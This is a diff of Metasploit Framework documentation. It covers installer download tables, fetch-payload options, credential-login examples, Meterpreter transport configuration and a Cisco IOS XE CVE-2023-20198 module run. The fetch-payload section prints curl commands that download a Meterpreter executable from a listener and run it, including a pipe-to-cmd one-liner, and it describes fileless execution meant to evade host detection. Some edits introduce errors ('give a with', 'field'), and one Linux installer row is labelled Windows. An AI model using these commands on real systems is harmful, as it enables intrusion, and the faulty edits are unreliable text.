| [metasploit-4.19.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.19.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.18.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.18.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.17.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.17.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.asc)|
|
||||
| Download Link |File Type| SHA | PGP |
|
||||
|--------------------------------------------------------------------------------------------------------------------------------------------------------------|-|---------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|
|
||||
| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.6-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.6-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.5-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.5-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.4-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.4-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.3-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.3-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.2-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.19.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.19.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.19.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.18.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.18.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.17.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.17.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.asc) |
|
||||
|
||||
|
||||
## Metasploit Framework Source
|
||||
|
||||
@@ -6,7 +6,7 @@ Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://g
|
||||
|
||||
### Retain active status of authentication tokens
|
||||
|
||||
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
|
||||
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authentication tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
|
||||
|
||||
Difficulty: 2/5
|
||||
|
||||
|
||||
@@ -52,7 +52,7 @@ Which returns the following response:
|
||||
|
||||
### Start the server
|
||||
|
||||
Use the following command to run the server with a configured uesrname and password:
|
||||
Use the following command to run the server with a configured username and password:
|
||||
|
||||
```
|
||||
$ ruby msfrpcd -U user -P pass -f
|
||||
|
||||
@@ -24,7 +24,7 @@ cURL, or Certutil.
|
||||
|
||||
## Organization
|
||||
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
|
||||
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
|
||||
HTTP, HTTPS, SMB, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
|
||||
remote host to download the served payload prior to execution.
|
||||
|
||||
Here is the naming convention for fetch payloads:
|
||||
@@ -69,15 +69,36 @@ msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
|
||||
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
|
||||
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
|
||||
into more details on the binaries later.
|
||||
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
|
||||
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
|
||||
|
||||
`FETCH_SRVHOST` is the IP where the server will listen.
|
||||
|
||||
`FETCH_SRVPORT` is the port where the server will listen.
|
||||
|
||||
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
|
||||
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
|
||||
served payload is the same.
|
||||
|
||||
### Dependent Options
|
||||
`FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to
|
||||
memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are
|
||||
two options: `bash` and `python3.8+`. Both of these require the target to be running Linux Kernel 3.17 or above.
|
||||
This option is only available when the platform is Linux.
|
||||
|
||||
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
|
||||
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
|
||||
This option is only available when `FETCH_FILELESS` is set to `none`
|
||||
|
||||
`FETCH_PIPE` is a binary flag that will create a second resource containing the original fetch command to run and then
|
||||
will produce a much shorter command to run on the host that will download the original fetch command and pipe it
|
||||
directly to the target's shell. Use this option if there is a limit on the command size as it will result in a much
|
||||
smaller original command. When set to true, the `FETCH_URIPATH` option is used for the pipe command resource uri and
|
||||
the default `FETCH_URIPATH`value is used for the original binary payload uri.
|
||||
This option is only available when the fetch transport is HTTP or HTTPS and the payload platform is Linux with the
|
||||
`FETCH_COMMAND` set to `CURL` or `WGET` or the platform is Windows and the `FETCH_COMMAND` is `CURL`
|
||||
|
||||
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
|
||||
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
|
||||
This value is not supported by all fetch binaries. If you set this value and it is not supported, it will generate an error.
|
||||
This option is only available when `FETCH_FILELESS` is set to `none`
|
||||
|
||||
The remaining options will be the options available to you in the served payload; in this case our served payload is
|
||||
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
|
||||
@@ -154,6 +175,20 @@ really odd situation where you can execute commands, you can get a session in fr
|
||||
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
|
||||
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
|
||||
|
||||
## Fetch Pipe
|
||||
If space is at a premium, you can use the `FETCH_PIPE` option. When using `FETCH_PIPE`, the fetch server hosts two
|
||||
resources: the original binary and then the generated fetch command. In the place of the original command, the command
|
||||
generated will be a much smaller command to download the original command and pipe it into the shell.
|
||||
The following example shows both the original command to download and execute the binary and the command to pipe the
|
||||
original fetch command directly to the shell. Since this requires two downloads, it is less stealthy, but the
|
||||
command to run on the target is significantly shorter.
|
||||
``` msf
|
||||
msf6 payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
|
||||
[*] Command served: curl -so %TEMP%\DpRdBIfeyax.exe http://10.5.135.117:8080/zw3LGTh9FtaLJ4bCQRAWdw & start /B %TEMP%\DpRdBIfeyax.exe
|
||||
|
||||
[*] Command to run on remote host: curl -s http://10.5.135.117:8080/test|cmd
|
||||
```
|
||||
|
||||
## Using it in an exploit
|
||||
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
|
||||
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or
|
||||
|
||||
@@ -6,7 +6,7 @@ The term 'repo' is short for 'Repository.' Also known as 'fork' (as a noun).
|
||||
|
||||
## The Easy Way
|
||||
|
||||
The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a whit about preserving branches, history, or pull requests, simply nuke your local fork.
|
||||
The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a with about preserving branches, history, or pull requests, simply nuke your local fork.
|
||||
|
||||
On your fork, in the GitHub UI, go to **Settings**, scroll down to the **Danger Zone**, and hit **Delete this repository**. Once you've re-authenticated, re-fork the `metasploit-framework` repository by going to the [Rapid7 repo](https://github.com/rapid7/metasploit-framework) and hit **Fork** as hard as you possibly can.
|
||||
|
||||
|
||||
@@ -34,6 +34,13 @@ use auxiliary/gather/ldap_query
|
||||
run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS
|
||||
```
|
||||
|
||||
Alternatively, the URI syntax can be used:
|
||||
|
||||
```
|
||||
use auxiliary/gather/ldap_query
|
||||
run ldap://domain.local;Administrator:p4$$w0rd@192.168.123.13/dc=domain,dc=local action=ENUM_ACCOUNTS
|
||||
```
|
||||
|
||||
Example output:
|
||||
|
||||
```msf
|
||||
|
||||
@@ -49,7 +49,7 @@ use auxiliary/scanner/mysql/mysql_login
|
||||
run 'mysql://root: a b c p4$$w0rd@127.0.0.1'
|
||||
```
|
||||
|
||||
Re-using MySQL credentials in a subnet:
|
||||
Reusing MySQL credentials in a subnet:
|
||||
|
||||
```
|
||||
use auxiliary/scanner/mysql/mysql_login
|
||||
|
||||
@@ -51,7 +51,7 @@ use auxiliary/scanner/postgres/postgres_login
|
||||
run 'postgres://root: a b c p4$$w0rd@127.0.0.1'
|
||||
```
|
||||
|
||||
Re-using PostgreSQL credentials in a subnet:
|
||||
Reusing PostgreSQL credentials in a subnet:
|
||||
|
||||
```
|
||||
use auxiliary/scanner/postgres/postgres_login
|
||||
|
||||
@@ -115,7 +115,7 @@ use scanner/ssh/ssh_login
|
||||
run ssh://user:pass@172.18.102.20
|
||||
```
|
||||
|
||||
Re-using SSH credentials in a subnet:
|
||||
Reusing SSH credentials in a subnet:
|
||||
|
||||
```
|
||||
use scanner/ssh/ssh_login
|
||||
|
||||
@@ -124,6 +124,8 @@ The following protocols are currently supported, and described in more detail be
|
||||
- file - Load a series of RHOST values separated by newlines from a file. This file can also include URI strings
|
||||
- http
|
||||
- https
|
||||
- ldap
|
||||
- ldaps
|
||||
- mysql
|
||||
- postgres
|
||||
- smb
|
||||
|
||||
@@ -118,9 +118,9 @@ The values that are common to both `HTTP(S)` and `TCP` transports are:
|
||||
* `tcp://:<port>` - indicates that this payload is a _bind_ payload listening on the specified port (note that no host is specified).
|
||||
* `http://<host>:<port>/<uri>` - indicates that this payload is an HTTP connection (can only be _reverse_).
|
||||
* `https://<host>:<port>/<uri>` - indicates that this payload is an HTTPS connection (can only be _reverse_).
|
||||
* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the **Timeout documentation** (link coming soon).
|
||||
* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the **Timeout documentation** (link coming soon).
|
||||
* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the **Timeout documentation** (link coming soon).
|
||||
* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
|
||||
* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
|
||||
* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
|
||||
|
||||
The layout of this block in memory looks like the following:
|
||||
|
||||
@@ -159,8 +159,8 @@ At this time, there are no `TCP`-specific configuration values, as the common co
|
||||
* `http://<proxy ip>:<proxy port>` in the case of `HTTP` proxies.
|
||||
* `socks=<socks ip>:<sock port>` in the case of `socks` proxies.
|
||||
* **Proxy user name** - Some proxies require authentication. In such cases, this value contains the username that should be used to authenticate with the given proxy. This field is `64` characters in size (`wchar_t`).
|
||||
* Proxy password - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`).
|
||||
*** User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`).
|
||||
* **Proxy password** - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`).
|
||||
* **User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`).
|
||||
* **Expected SSL certificate hash** - Meterpreter has the capability of validating the SSL certificate that Metasploit presents when using `HTTPS`. This value contains the `20`-byte SHA1 hash of the expected certificate. For more information, please read the **SSL certificate validation documentation** (link coming soon).
|
||||
|
||||
All values that are shown above need to be specified in the configuration, including SSL certificate validation for plain `HTTP` connections. Values that are not used should be zeroed out.
|
||||
@@ -207,7 +207,7 @@ As already mentioned, more than one of these transport configuration blocks can
|
||||
|
||||
### Extension configuration block
|
||||
|
||||
The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have **Stageless payloads** (link coming soon), and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the **Stageless payloads** (link coming soon) documentation.
|
||||
The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have [[Stageless payloads|./Meterpreter-Stageless-Mode.md]], and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the [[Stageless payloads|./Meterpreter-Stageless-Mode.md]] documentation.
|
||||
|
||||
The extension configuration block also functions as a "list" to allow for an arbitrary number of extensions to be included. Each extension entry needs to contain:
|
||||
|
||||
|
||||
@@ -71,7 +71,7 @@ Related open tickets (slightly broader than Meterpreter):
|
||||
* Change desktop/phone background
|
||||
* Remote mouse control
|
||||
* Play sound on the remote system
|
||||
* Read words outloud via text to speech on the remote system
|
||||
* Read words out loud via text to speech on the remote system
|
||||
* Volume control
|
||||
* RSS feed from reverse_http(s) mult-handler that I can connect a RSS reader to (or something like IFTTT) and get notices when new sessions are created
|
||||
* MessageBox popups
|
||||
|
||||
@@ -195,7 +195,7 @@ Payload options (cmd/windows/powershell_reverse_tcp):
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.19.182.171 yes The listen address (an interface may be speci
|
||||
fied)
|
||||
field)
|
||||
LOAD_MODULES no A list of powershell modules separated by a c
|
||||
omma to download over the web
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
+1
-1
@@ -892,7 +892,7 @@ In the following example the AUTO mode is used to issue a certificate for the MS
|
||||
authenticated.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 172.30.239.85
|
||||
msf6 auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85
|
||||
msf6 auxiliary(server/relay/esc8) > run
|
||||
[*] Auxiliary module running as background job 1.
|
||||
msf6 auxiliary(server/relay/esc8) >
|
||||
|
||||
@@ -34,7 +34,15 @@ The vulnerable IOS XE versions are:
|
||||
17.11.99SW
|
||||
|
||||
## Testing
|
||||
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
|
||||
This module was tested against the following IOS XE versions:
|
||||
|
||||
| IOS XE Version | Appliance Series |
|
||||
|----------------|------------------|
|
||||
| 16.12.3 | CSR1000v |
|
||||
| 17.03.02 | CSR1000v |
|
||||
| 17.06.05 | C8000v |
|
||||
|
||||
To test this module you will need to either:
|
||||
|
||||
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
|
||||
|
||||
@@ -87,6 +95,7 @@ modes are `user`, `privileged`, and `global`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### IOS XE 16.12.03 (CSR1000v)
|
||||
```
|
||||
msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57
|
||||
@@ -169,4 +178,85 @@ msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show
|
||||
*15:24:05.110 UTC Fri Nov 3 2023
|
||||
[*] Auxiliary module execution completed
